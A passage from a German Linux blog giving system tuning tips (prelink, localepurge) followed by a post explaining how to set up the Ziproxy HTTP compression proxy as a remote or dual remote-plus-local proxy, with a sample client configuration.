Wenn man den Start von Programmen beschleunigen will, kann man “prelink” (apt-get install prelink) ausprobieren, besonders bei KDE bringt dies einiges, da somit bei “dynamic linking” Programmen (Programm die nicht gelinkt sind, um z.B. Speicherplatz zu sparen) die Libraries nicht jedesmal bei geladen werden müssen. Prelink nutzt dies insofern aus, als dass es das Linken im Voraus ausführt und in der Programmdatei abspeichert. Somit kann man (fast) jedes Programm beschleunigen.


vim /etc/default/prelink

PRELINKING=unknown 

wird zu …

PRELINKING=yes 


http://wiki.ubuntuusers.de/Prelink


9.) localepurge

Nicht verwendete Sprachdateien zu entfernen erscheint zwar auf den ersten Blick nicht wirklich als Optimierung, jedoch hat sich in der Praxis gezeigt, dass einige Programm diese Sprachdateien z.B. beim Start in den Speicher laden, daher kann man so nicht nur Festplattenplatz, sondern ggf. auch Arbeitsspeicher einsparen und Programme schneller starten.



Quellen:

https://wiki.archlinux.org/index.php/Maximizing_Performance

http://sidux.com/index.php?module=Wikula&tag=SiduxTweaks

http://wiki.ubuntuusers.de/tuning

Ziproxy – HTTP-Traffic Kompression

Ziproxy ist ein nicht HTTP-Proxy Server, welcher Daten nicht zwischenspeichert, diese jedoch komprimiert und weiterleitet. Die meiste Bandbreite wird eingespart, indem Bilder neu-konvertiert werden und andere Daten per gzip komprimiert werden.

Ziproxy benötige keine Client-Software, solange der Browser die gzip-Daten korrekt dekomprimieren kann und auch mit JPEG 2000 Bildern umgehen kann. Der Proxy kann auf unterschiedliche Arten konfiguriert werden, ich hatte bereits vor langer Zeit über Ziproxy berichtet (Mein Proxy-Server) und da ich darauf aufmerksam gemacht wurde, dass die gezeigte Konfiguration in der neuen Version nicht mehr funktioniert, ich jedoch den gezeigten Proxy-Aufbau nicht mehr im Einsatz habe, wollte ich in diesem Blog-Post zumindest die beiden Grundkonfigurationen zeigen. (ggf. wäre ein solcher Proxy auch für Smartphones hilfreich)


1.) Ziproxy als Remote-Proxy

Als erstes die einfachste Variante, hier verbindet sich der Ziproxy über eine schnelle Verbindung (extern) mit dem HTTP-Servern und schickt die Daten über eine langsame Verbindung weiter.


Konfiguration: ziproxy.conf (mit ein paar Kommentaren)




Ziproxy-Standard

Ziproxy-Standard





2.) Ziproxy als Remote-Proxy + Local-Proxy

Die Konfiguration des Remote-Proxys unterscheidet sich im Grunde nicht von der ersten Variante, auch hier wird keine Client-Software benötigt, da ein zweiter lokaler Ziproxy sozusagen als Client fungiert, dies hat den Vorteil:

  • der Browser muss nicht “JPEG 2000″ unterstützen
  • der Client (z.B. Squid) muss nicht “gzip” unterstützen
  • CPU-Last wird auf einen Server verlagert (ggf. wenn der Browser durch “JPEG 2000″-Bilder hohe CPU-Last erzeugt)

Konfiguration: Ziproxy-Client

Port = 8080
Address = "127.0.0.1"
NextProxy="81.169.188.94"
NextPort=3128
ImageQuality = {85,85,85,85}
JP2ImageQuality = {85,85,85,85}
MaxUncompressedGzipRatio = 4000
MinUncompressedGzipStreamEval = 250000
MaxSize = 2097152
Gzip = true
DecompressIncomingGzipData = true




Ziproxy_Dual

Ziproxy_Dual




Link: ziproxy.sourceforge.net